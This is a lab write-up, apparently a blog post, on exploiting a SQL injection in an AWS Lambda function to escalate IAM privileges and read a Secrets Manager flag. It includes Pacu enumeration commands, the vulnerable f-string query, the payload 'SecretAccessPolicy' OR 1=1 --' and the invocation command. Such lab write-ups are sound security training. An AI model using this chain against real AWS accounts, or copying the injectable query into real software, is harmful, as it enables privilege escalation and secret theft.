Lambda SQL Injection to IAM Privilege Escalation
Overview
This writeup documents the exploitation of a SQL injection vulnerability in an AWS Lambda function to escalate privileges and extract a secret from AWS Secrets Manager.
Reconnaissance
Using Pacu's IAM enumeration module, we discovered 22 roles and 3 policies within the target account:
Pacu > run iam__enum_users_roles_policies_groups
Reviewing the enumerated data revealed a key role — invoker-lambda-sqli-privesc-* — that our compromised user was explicitly allowed to assume via sts:AssumeRole.
use this AWS command to retrieve to the policy JSON documents
aws iam get-policy-version --policy-arn --version-id
Three policies were identified:
| Policy | Purpose |
|---|---|
*-user |
Grants IAM read permissions and ability to assume the invoker role |
*_applier |
Grants iam:AttachUserPolicy on our user |
SecretAccessPolicy |
Grants secretsmanager:GetSecretValue on the target secret |
SecretAccessPolicy immediately stood out — it was the end goal, granting direct access to the target secret.
Assuming the Invoker Role
With sts:AssumeRole permissions confirmed, we assumed the invoker role directly in Pacu:
Pacu > assume_role arn:aws:iam::014498641618:role/invoker-lambda-sqli-privesc-to-access-secret-1783543122906
The Pacu prompt updated to reflect the assumed role. We then exported the temporary credentials and loaded them into our AWS CLI profile for use outside Pacu.
Lambda Enumeration
With the invoker role active, we enumerated Lambda functions in us-east-1:
Pacu > run lambda__enum --region us-east-1
One function was found: Vulnerable-lambda-sqli-privesc-to-access-secret-*. Downloading its source code from the S3 location in the metadata revealed the vulnerability.
Identifying the Vulnerability
<!--SNIP-->
db["policies"].insert_all([
# {"policy_name": "SecretAccessPolicy", "public": 'False'}
# ])
def handler(event, context):
target_policys = event['policy_names']
user_name = event['user_name']
print(f"target policys are : {target_policys}")
for policy in target_policys:
statement_returns_valid_policy = False
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
for row in db.query(statement):
statement_returns_valid_policy = True
print(f"applying {row['policy_name']} to {user_name}")
response = iam_client.attach_user_policy(
UserName=user_name,
PolicyArn=f"arn:aws:iam::{account_id}:policy/{row['policy_name']}"
)
print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))
<!--SNIP-->
The Lambda function applies IAM policies to users via a SQLite database query:
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
User-supplied input is concatenated directly into the SQL query without sanitization or parameterization. This is a textbook SQL injection vulnerability — an attacker who controls policy_name can break out of the string and inject arbitrary SQL logic.
Crafting the Payload
Understanding the query structure, we crafted an injection payload:
SecretAccessPolicy' OR 1=1 --
| Component | Purpose |
|---|---|
SecretAccessPolicy |
Valid-looking prefix to blend in |
' |
Closes the developer's opening quote |
OR 1=1 |
Always-true condition, returns all rows |
-- |
Comments out the remainder of the query, including AND public='True'
|
The resulting query executed by the database:
SELECT policy_name FROM policies
WHERE policy_name='SecretAccessPolicy' OR 1=1 -- ' AND public='True'
The AND public='True' security check is completely neutralized by the comment, causing the database to return all policies regardless of their visibility setting.
Exploitation
We formatted the payload as a valid Lambda invocation:
{
"policy_names": [
"SecretAccessPolicy' OR 1=1 --"
],
"user_name": "lambda-sqli-privesc-to-access-secret-1783549354532-user"
}
Invoking the Lambda with this payload caused it to attach SecretAccessPolicy to our user, granting us secretsmanager:GetSecretValue on the target secret.
aws lambda invoke --function-name Vulnerable-lambda-sqli-privesc-to-access-secret-1783549354532 --payload fileb://payload.json output.txt --region us-east-1
Extracting the Secret
Back in our original user session in Pacu, we ran the secrets enumeration module:
Pacu > run secrets__enum --region us-east-1
One secret was found: lambda-sqli-privesc-to-access-secret-*-final_flag. The value was automatically saved locally:
cat ~/.local/share/pacu/vuln-lamdba/downloads/secrets/secrets_manager/secrets.txt
{"vault-password": "cybr-labs-secret-846237-284529"}
Top comments (0)